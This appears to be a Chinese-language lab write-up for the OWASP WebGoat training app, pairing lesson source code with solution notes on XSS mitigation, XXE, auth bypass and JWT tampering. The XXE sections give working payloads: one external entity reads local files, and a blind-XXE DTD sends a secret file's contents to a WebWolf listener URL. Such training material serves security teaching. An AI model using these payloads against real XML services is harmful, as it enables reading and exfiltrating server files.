<%@page contentType="text/html" pageEncoding="UTF-8" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_java_Encode_Project" %> <html> <head> <title>Using GET and POST Method to Read Form Data</title> </head> <body> <h1>Using POST Method to Read Form Data</h1> <table> <tbody> <tr> <td><b>First Name:</b></td> <td>${e:forHtml(param.first_name)}</td> </tr> <tr> <td><b>Last Name:</b></td> <td>${e:forHtml(param.last_name)}</td> </tr> </tbody> </table> </body> </html>
CrossSiteScriptingLesson4 注意差异
package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.extern.slf4j.Slf4j;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @Slf4j @AssignmentHints(value = {"xss-mitigation-4-hint1"}) public class CrossSiteScriptingLesson4 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack4") @ResponseBody public AttackResult completed (@RequestParam String editor2) { String editor = editor2.replaceAll("\\<.*?>" ,"" ); log.debug(editor); if ((editor.contains("Policy.getInstance(\"antisamy-slashdot.xml\"" ) || editor.contains(".scan(newComment, \"antisamy-slashdot.xml\"" ) || editor.contains(".scan(newComment, new File(\"antisamy-slashdot.xml\")" )) && editor.contains("new AntiSamy();" ) && editor.contains(".scan(newComment," ) && editor.contains("CleanResults" ) && editor.contains("MyCommentDAO.addComment(threadID, userID" ) && editor.contains(".getCleanHTML());" )){ log.debug("true" ); return success(this ).feedback("xss-mitigation-4-success" ).build(); }else { log.debug("false" ); return failed(this ).feedback("xss-mitigation-4-failed" ).build(); } } }
import org.owasp.validator.html.*;import MyCommentDAO;public class AntiSamyController { public void saveNewComment (int threadID, int userID, String newComment) { Policy p = Policy.getInstance("antisamy-slashdot.xml" ); AntiSamy as = new AntiSamy (); CleanResults cr = as.scan(newComment,p); MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML()); } }
xxe XXE package com.wanan.webgoat.lessons.xxe;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class XXE extends Lesson { @Override protected Category getDefaultCategory () { return Category.A5; } @Override public String getTitle () { return "xxe.title" ; } }
SimpleXXE package com.wanan.webgoat.lessons.xxe;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.commons.exec.OS;import org.apache.commons.lang3.exception.ExceptionUtils;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"}) public class SimpleXXE extends AssignmentEndpoint { private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr" ,"etc" ,"var" }; private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows" , "Program Files (x86)" , "Program Files" , "pagefile.sys" }; @Value("${webgoat.server.directory}") private String webGoatHomeDirectory; @Value("${webwolf.landingpage.url}") private String webWolfURL; @Autowired private CommentsCache comments; @PostMapping(path = "xxe/simple",consumes = ALL_VALUE,produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult createNameComment (HttpServletRequest request, @RequestBody String commentStr) { String error = "" ; try { var comment = comments.parseXml(commentStr); comments.addComment(comment,false ); if (checkSolution(comment)){ return success(this ).build(); } } catch (Exception e) { error = ExceptionUtils.getStackTrace(e); } return failed(this ).output(error).build(); } private boolean checkSolution (Comment comment) { String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; boolean success = false ; for (String directory : directoriesToCheck){ success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(),directory); } return success; } @RequestMapping(path = "/xxe/sampledtd",consumes = ALL_VALUE,produces = MediaType.TEXT_PLAIN_VALUE) @ResponseBody public String getSampleDTDFile () { return """ <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>"> %all; """ ; } }
package com.wanan.webgoat.lessons.xxe;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.commons.exec.OS;import org.apache.commons.lang3.exception.ExceptionUtils;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;import javax.xml.bind.JAXBException;import javax.xml.stream.XMLStreamException;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"}) public class SimpleXXE extends AssignmentEndpoint { private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr" ,"etc" ,"var" }; private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows" , "Program Files (x86)" , "Program Files" , "pagefile.sys" }; @Value("${webgoat.server.directory}") private String webGoatHomeDirectory; @Value("${webgoat.landingpage.url}") private String webWolfURL; @Autowired private CommentsCache comments; @PostMapping(path = "xxe/simple",consumes = ALL_VALUE,produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult createNameComment (HttpServletRequest request, @RequestBody String commentStr) { String error = "" ; try { var comment = comments.parseXml(commentStr); comments.addComment(comment,false ); if (checkSolution(comment)){ return success(this ).build(); } } catch (Exception e) { error = ExceptionUtils.getStackTrace(e); } return failed(this ).output(error).build(); } private boolean checkSolution (Comment comment) { String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; boolean success = false ; for (String directory : directoriesToCheck){ success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(),directory); } return success; } @RequestMapping(path = "/xxe/sampledtd",consumes = ALL_VALUE,produces = MediaType.TEXT_PLAIN_VALUE) @ResponseBody public String getSampleDTDFile () { return """ <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>"> %all; """ ; } }
package com.wanan.webgoat.lessons.xxe;import lombok.*;import javax.xml.bind.annotation.XmlRootElement;@Getter @Setter @AllArgsConstructor @NoArgsConstructor @XmlRootElement @ToString public class Comment { private String user; private String dateTime; private String text; }
package com.wanan.webgoat.lessons.xxe;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.awt.*;import java.util.Collection;@RestController @RequestMapping("xxe/comments") public class CommentsEndpoint { @Autowired private CommentsCache comments ; @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public Collection<Comment> retrieveComments () { return comments.getComments(); } }
简单测试下
发现提交的是xml文件
新建一个文件
<?xml version="1.0"?> <!DOCTYPE comment [ <!ENTITY js SYSTEM "file:///D:/Download/1.txt" > ]><comment > <text > &js; </text > </comment >
读取下这个文件试试
发现成功回显
这题通过需要获取c盘下的指定目录名
ContentTypeAssignment package com.wanan.webgoat.lessons.xxe;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import org.apache.commons.exec.OS;import org.apache.commons.lang3.exception.ExceptionUtils;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"}) public class ContentTypeAssignment extends AssignmentEndpoint { private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr" , "etc" , "var" }; private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows" , "Program Files (x86)" , "Program Files" , "pagefile.sys" }; @Value("${webgoat.server.directory}") private String webGoatHomeDirectory; @Autowired private WebSession webSession; @Autowired private CommentsCache comments; @PostMapping(path = "xxe/content-type") @ResponseBody public AttackResult createNewUser (HttpServletRequest request, @RequestBody String commentStr , @RequestHeader("Content-Type") String contentType) throws Exception{ AttackResult attackResult = failed(this ).build(); if (APPLICATION_JSON_VALUE.equals(contentType)){ comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c,true )); attackResult = failed(this ).feedback("xxe.content.type.feedback.json" ).build(); } if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)){ String error = "" ; try { Comment comment = comments.parseXml(commentStr); comments.addComment(comment,false ); if (checkSolution(comment)){ attackResult = success(this ).build(); } }catch (Exception e){ error = ExceptionUtils.getStackTrace(e); attackResult = failed(this ).feedback("xxe.content.type.feedback.xml" ).output(error).build(); } } return attackResult; } private boolean checkSolution (Comment comment) { String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES:DEFAULT_WINDOWS_DIRECTORIES; boolean success = false ; for (String directory : directoriesToCheck){ success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(),directory); } return success; } }
这个题目也不知道啥意思 不收json数据 但是前段发送的是json数据
稍微修改一下
BlindSendFileAssignment package com.wanan.webgoat.lessons.xxe;import com.wanan.webgoat.container.WebGoat;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.users.WebGoatUser;import lombok.extern.slf4j.Slf4j;import org.springframework.beans.factory.annotation.Value;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.io.File;import java.io.IOException;import java.nio.file.Files;import java.util.HashMap;import java.util.Map;import static java.nio.charset.StandardCharsets.UTF_8;import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@Slf4j @RestController @AssignmentHints({"xxe.blind.hints.1", "xxe.blind.hints.2", "xxe.blind.hints.3", "xxe.blind.hints.4", "xxe.blind.hints.5"}) public class BlindSendFileAssignment extends AssignmentEndpoint { private final String webGoatHomeDirectory; private final CommentsCache comments; private final Map<WebGoatUser,String > userToFileContents = new HashMap <>(); public BlindSendFileAssignment (@Value("${webgoat.user.directory}") String webGoatHomeDirectory, CommentsCache comments) { this .webGoatHomeDirectory = webGoatHomeDirectory; this .comments = comments; } private void createSecretFileWithRandomContents (WebGoatUser user) { var fileContents = "WebGoat 8.0 rocks... (" + randomAlphabetic(10 ) + ")" ; userToFileContents.put(user,fileContents); File targetDirectory = new File (webGoatHomeDirectory,"/XXE/" + user.getUsername()); if (!targetDirectory.exists()){ targetDirectory.mkdirs(); } try { Files.writeString(new File (targetDirectory,"secret.txt" ).toPath(),fileContents,UTF_8); }catch (IOException e){ log.error("Unable to write 'secret.txt' to '{}" ,targetDirectory); } } @PostMapping(path = "xxe/blind",consumes = ALL_VALUE,produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult addComment (@RequestBody String commentStr) { var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(),"" ); if (commentStr.contains(fileContentsForUser)){ return success(this ).build(); } try { Comment comment = comments.parseXml(commentStr); if (fileContentsForUser.contains(comment.getText())){ comment.setText("Nice try, you need to send the file to WebWolf" ); } comments.addComment(comment,false ); }catch (Exception e){ return failed(this ).output(e.toString()).build(); } return failed(this ).build(); } @Override public void initialize (WebGoatUser user) { comments.reset(user); userToFileContents.remove(user); createSecretFileWithRandomContents(user); } }
先说过程 后解释
创建一个eval.dtd文件
这里一看就是向外面带出数据的
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
通过webwolf上传并获取路径信息
http://127.0.0.1:9090/files/123456/eval.dtd
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///C:/Users/14980/.webgoat-8.2.3-SNAPSHOT/XXE/123456/secret.txt"> <!ENTITY % zxcv SYSTEM "http://127.0.0.1:9090/files/123456/eval.dtd"> %zxcv; %payload; ]> <comment><text>&send;</text></comment>
这里首先去获取一下secret.txt 文件内容 接着去获取一个dtd文件 在下面的&send;就是引用 eval.dtd中的内容
这样就会接收到请求了
提交即可
vulnerable_components VulnerableComponents package com.wanan.webgoat.lessons.vulnerable_components;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class VulnerableComponents extends Lesson { @Override protected Category getDefaultCategory () { return Category.A6; } @Override public String getTitle () { return "vulnerable-components.title" ; } }
这一关是前端组件 不需要后端代码
VulnerableComponentsLesson package com.wanan.webgoat.lessons.vulnerable_components;import lombok.Data;@Data public class ContactImpl implements Contact { private Integer id; private String firstName; private String lastName; private String email; }
package com.wanan.webgoat.lessons.vulnerable_components;public interface Contact { public Integer getId () ; public void setId (Integer id) ; public String getFirstName () ; public void setFirstName (String firstName) ; public String getLastName () ; public void setLastName (String lastName) ; public String getEmail () ; public void setEmail (String email) ; }
VulnerableComponentsLesson package com.wanan.webgoat.lessons.vulnerable_components;import com.thoughtworks.xstream.XStream;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.commons.lang3.StringUtils;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"vulnerable.hint"}) public class VulnerableComponentsLesson extends AssignmentEndpoint { @PostMapping("/VulnerableComponents/attack1") public @ResponseBody AttackResult completed (@RequestParam String payload) { XStream xstream = new XStream (); xstream.setClassLoader(Contact.class.getClassLoader()); xstream.alias("contact" , ContactImpl.class); xstream.ignoreUnknownElements(); Contact contact = null ; try { if (!StringUtils.isEmpty(payload)) { payload = payload.replace("+" , "" ).replace("\r" , "" ).replace("\n" , "" ).replace("> " , ">" ).replace(" <" , "<" ); } contact = (Contact) xstream.fromXML(payload); } catch (Exception ex) { return failed(this ).feedback("vulnerable-components.close" ).output(ex.getMessage()).build(); } try { if (null != contact) { contact.getFirstName(); } if (!(contact instanceof ContactImpl)) { return success(this ).feedback("vulnerable-components.success" ).build(); } } catch (Exception e) { return success(this ).feedback("vulnerable-components.success" ).output(e.getMessage()).build(); } return failed(this ).feedback("vulnerable-components.fromXML" ).feedbackArgs(contact).build(); } }
这里可能是由于java版本的问题 不可以创建XStream()对象我们先放一下 回头再看
主要讲了一个cve 其中也写了只在使用docker镜像时有效
auth_bypass AuthBypass package com.wanan.webgoat.lessons.auth_bypass;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class AuthBypass extends Lesson { @Override protected Category getDefaultCategory () { return Category.A7; } @Override public String getTitle () { return "auth-bypass.title" ; } }
VerifyAccount package com.wanan.webgoat.lessons.auth_bypass;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import com.wanan.webgoat.container.session.WebSession;import org.jcodings.util.Hash;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.rmi.ServerException;import java.util.Collections;import java.util.HashMap;import java.util.List;import java.util.Map;@RestController @AssignmentHints({"auth-bypass.hints.verify.1", "auth-bypass.hints.verify.2", "auth-bypass.hints.verify.3", "auth-bypass.hints.verify.4"}) public class VerifyAccount extends AssignmentEndpoint { @Autowired private WebSession webSession; @Autowired UserSessionData userSessionData; @PostMapping(path = "/auth-bypass/verify-account",produces = {"application/json"}) @ResponseBody public AttackResult completed (@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServerException , IOException{ AccountVerificationHelper verificationHelper = new AccountVerificationHelper (); Map<String,String> submittedAnswers = parseSecQuestions(req); if (verificationHelper.didUserLikelyCheat((HashMap) submittedAnswers)){ return failed(this ).feedback("verify-account.cheated" ) .output("Yes, you guessed correctly,but see the feedback message" ) .build(); } if (verificationHelper.verifyAccount(Integer.valueOf(userId),(HashMap)submittedAnswers)){ userSessionData.setValue("account-verified-id" ,userId); return success(this ).feedback("verify-account.success" ).build(); }else { return failed(this ).feedback("verify-account.failed" ).build(); } } private Map<String, String> parseSecQuestions (HttpServletRequest req) { Map<String,String> userAnswers = new HashMap <>(); List<String > paramNames = Collections.list(req.getParameterNames()); for (String paramName : paramNames){ if (paramName.contains("secQuestion" )){ userAnswers.put(paramName,req.getParameter(paramName)); } } return (HashMap) userAnswers; } }
AccountVerificationHelper package com.wanan.webgoat.lessons.auth_bypass;import java.util.HashMap;import java.util.Map;public class AccountVerificationHelper { private static final Integer verifyUserId = 1223445 ; private static final Map<String ,String > userSecQuestions = new HashMap <>(); static { userSecQuestions.put("secQuestion0" ,"Dr. Watson" ); userSecQuestions.put("secQuestion1" ,"Baker Street" ); } private static final Map<Integer,Map> secQuestionStore = new HashMap <>(); static { secQuestionStore.put(verifyUserId,userSecQuestions); } public boolean didUserLikelyCheat (HashMap<String ,String> submittedAnswers) { boolean likely = false ; if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()){ likely = true ; } if ((submittedAnswers.containsKey("secQuestion0" )&& submittedAnswers.get("secQuestion0" ).equals(secQuestionStore.get(verifyUserId).get("secQuestion0" ))) && (submittedAnswers.containsKey("secQuestion1" ) && submittedAnswers.get("secQuestion1" ).equals(secQuestionStore.get(verifyUserId).get("secQuestion1" ))) ){ likely = true ; }else { likely = false ; } return likely; } public boolean verifyAccount (Integer userId,HashMap<String,String > submittedQuestions) { if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()){ return false ; } if (submittedQuestions.containsKey("secQuestion0" ) && !submittedQuestions.get("secQuestion0" ).equals(secQuestionStore.get(verifyUserId).get("secQuestion0" ))){ return false ; } if (submittedQuestions.containsKey("secQuestion1" ) && !submittedQuestions.get("secQuestion1" ).equals(secQuestionStore.get(verifyUserId).get("secQuestion1" ))) { return false ; } return true ; } }
这里只要两个没有预定义过的就可以绕过了
insecure_login InsecureLogin package com.wanan.webgoat.lessons.insecure_login;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class InsecureLogin extends Lesson { @Override protected Category getDefaultCategory () { return Category.A7; } @Override public String getTitle () { return "insecure-login.title" ; } }
InsecureLoginTask package com.wanan.webgoat.lessons.insecure_login;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.http.HttpStatus;import org.springframework.web.bind.annotation.*;@RestController public class InsecureLoginTask extends AssignmentEndpoint { @PostMapping("/InsecureLogin/task") @ResponseBody public AttackResult completed (@RequestParam String username,@RequestParam String password) { if ("CaptainJack" .equals(username) && "BlackPearl" .equals(password)){ return success(this ).build(); } return failed(this ).build(); } @PostMapping("/InsecureLogin/login") @ResponseStatus(HttpStatus.ACCEPTED) public void login () { } }
输入就过
jwt JWT package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class JWT extends Lesson { @Override protected Category getDefaultCategory () { return Category.A7; } @Override public String getTitle () { return "jwt.title" ; } }
JWTDecodeEndpoint package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class JWTDecodeEndpoint extends AssignmentEndpoint { @PostMapping("/JWT/decode") @ResponseBody public AttackResult decode (@RequestParam("jwt-encode-user") String user) { if ("user" .equals(user)){ return success(this ).build(); }else { return failed(this ).build(); } } }
直接打开webwolf 解码一下即可
JWTVotesEndpoint votes Vote package com.wanan.webgoat.lessons.jwt.votes;import com.fasterxml.jackson.annotation.JsonView;import lombok.Getter;@Getter public class Vote { @JsonView(Views.GuestView.class) private final String title; @JsonView(Views.GuestView.class) private final String information; @JsonView(Views.GuestView.class) private final String imageSmall; @JsonView(Views.GuestView.class) private final String imageBig; @JsonView(Views.UserView.class) private int numberOfVotes; @JsonView(Views.UserView.class) private boolean votingAllowed = true ; @JsonView(Views.UserView.class) private long average = 0 ; public Vote (String title, String information, String imageSmall, String imageBig, int numberOfVotes,int totalVotes) { this .title = title; this .information = information; this .imageSmall = imageSmall; this .imageBig = imageBig; this .numberOfVotes = numberOfVotes; this .average = calculateStars(totalVotes); } public void incrementNumberOfVotes (int totalVotes) { this .numberOfVotes = this .numberOfVotes +1 ; this .average = calculateStars(totalVotes); } public void reset () { this .numberOfVotes = 1 ; this .average = 1 ; } private long calculateStars (int totalVotes) { return Math.round(((double ) numberOfVotes / (double ) totalVotes) * 4 ); } }
Views package com.wanan.webgoat.lessons.jwt.votes;public class Views { public interface GuestView { } public interface UserView extends GuestView { } }
JWTVotesEndpoint package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.jwt.votes.Views;import com.wanan.webgoat.lessons.jwt.votes.Vote;import io.jsonwebtoken.*;import io.jsonwebtoken.impl.TextCodec;import org.apache.commons.lang3.StringUtils;import org.springframework.http.HttpStatus;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.http.converter.json.MappingJacksonValue;import org.springframework.web.bind.annotation.*;import javax.annotation.PostConstruct;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.sql.Date;import java.time.Duration;import java.time.Instant;import java.util.Comparator;import java.util.HashMap;import java.util.Map;import java.util.stream.Collectors;import static java.util.Comparator.comparingLong;import static java.util.Optional.ofNullable;import static java.util.stream.Collectors.toList;@RestController @AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) public class JWTVotesEndpoint extends AssignmentEndpoint { public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory" ); private static String validUsers = "TomJerrySylvester" ; private static int totalVotes = 38929 ; private Map<String, Vote> votes = new HashMap <>(); @PostConstruct public void initVotes () { votes.put("Admin lost password" , new Vote ("Admin lost password" , "In this challenge you will need to help the admin and find the password in order to login" , "challenge1-small.png" , "challenge1.png" , 36000 , totalVotes)); votes.put("Vote for your favourite" , new Vote ("Vote for your favourite" , "In this challenge ..." , "challenge5-small.png" , "challenge5.png" , 30000 , totalVotes)); votes.put("Get it for free" , new Vote ("Get it for free" , "The objective for this challenge is to buy a Samsung phone for free." , "challenge2-small.png" , "challenge2.png" , 20000 , totalVotes)); votes.put("Photo comments" , new Vote ("Photo comments" , "n this challenge you can comment on the photo you will need to find the flag somewhere." , "challenge3-small.png" , "challenge3.png" , 10000 , totalVotes)); } @GetMapping("/JWT/votings/login") public void login (@RequestParam("user") String user, HttpServletResponse response) { if (validUsers.contains(user)) { Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10 )))); claims.put("admin" , "false" ); claims.put("user" , user); String token = Jwts.builder() .setClaims(claims) .signWith(SignatureAlgorithm.HS512, JWT_PASSWORD) .compact(); Cookie cookie = new Cookie ("access_token" , token); response.addCookie(cookie); response.setStatus(HttpStatus.OK.value()); response.setContentType(MediaType.APPLICATION_JSON_VALUE); } else { Cookie cookie = new Cookie ("access_token" , "" ); response.addCookie(cookie); response.setStatus(HttpStatus.OK.value()); response.setContentType(MediaType.APPLICATION_JSON_VALUE); } } @GetMapping("/JWT/votings") @ResponseBody public MappingJacksonValue getVotes (@CookieValue(value = "access_token", required = false) String accessToken) { MappingJacksonValue value = new MappingJacksonValue (votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList())); if (StringUtils.isEmpty(accessToken)) { value.setSerializationView(Views.GuestView.class); } else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user" ); if ("Guest" .equals(user) || !validUsers.contains(user)) { value.setSerializationView(Views.GuestView.class); } else { value.setSerializationView(Views.UserView.class); } } catch (JwtException e) { value.setSerializationView(Views.GuestView.class); } } return value; } @PostMapping(value = "/JWT/votings/{title}") @ResponseBody @ResponseStatus(HttpStatus.ACCEPTED) public ResponseEntity<?> vote(@PathVariable String title,@CookieValue(value = "access_token",required = false) String accessToken){ if (StringUtils.isEmpty(accessToken)){ return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); }else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user" ); if (!validUsers.contains(user)){ return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); }else { ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); return ResponseEntity.accepted().build(); } }catch (JwtException e){ return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } } @PostMapping("/JWT/votings") @ResponseBody public AttackResult restVotes (@CookieValue(value = "access_token",required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)){ return failed(this ).feedback("jwt-invalid-token" ).build(); }else { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); Claims claims = (Claims) jwt.getBody(); boolean isAdmin = Boolean.valueOf((String)claims.get("admin" )); if (!isAdmin){ return failed(this ).feedback("jwt-only-admin" ).build(); }else { votes.values().forEach(vote -> vote.reset()); return success(this ).build(); } }catch (JwtException e){ return failed(this ).feedback("jwt-invalid-token" ).output(e.toString()).build(); } } } }
这里的目的是让我们 删除重置投票
这里先哪一个 token
注意这里多加了个 .
JWTQuiz package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.*;@RestController public class JWTQuiz extends AssignmentEndpoint { private final String[] solutions = {"Solution 1" ,"Solution 2" }; private final boolean [] guesses = new boolean [solutions.length]; @PostMapping("/JWT/quiz") @ResponseBody public AttackResult completed (@RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution) { int correctAnswers = 0 ; String[] givenAnswers = {question_0_solution[0 ],question_1_solution[0 ]}; for (int i= 0 ; i< solutions.length;i++){ if (givenAnswers[i].contains(solutions[i])){ correctAnswers++; guesses[i] = true ; }else { guesses[i] = false ; } } if (correctAnswers == solutions.length){ return success(this ).build(); }else { return failed(this ).build(); } } @GetMapping("/JWT/quiz") @ResponseBody public boolean [] getResults(){ return this .guesses; } }
这里是问我们下面两段程序都会出现什么现象
重点就在下面的两个函数上面 我们先去看一下源文档
这里只能解密带密钥的jwt
这里两个都可以 答案就很明显了
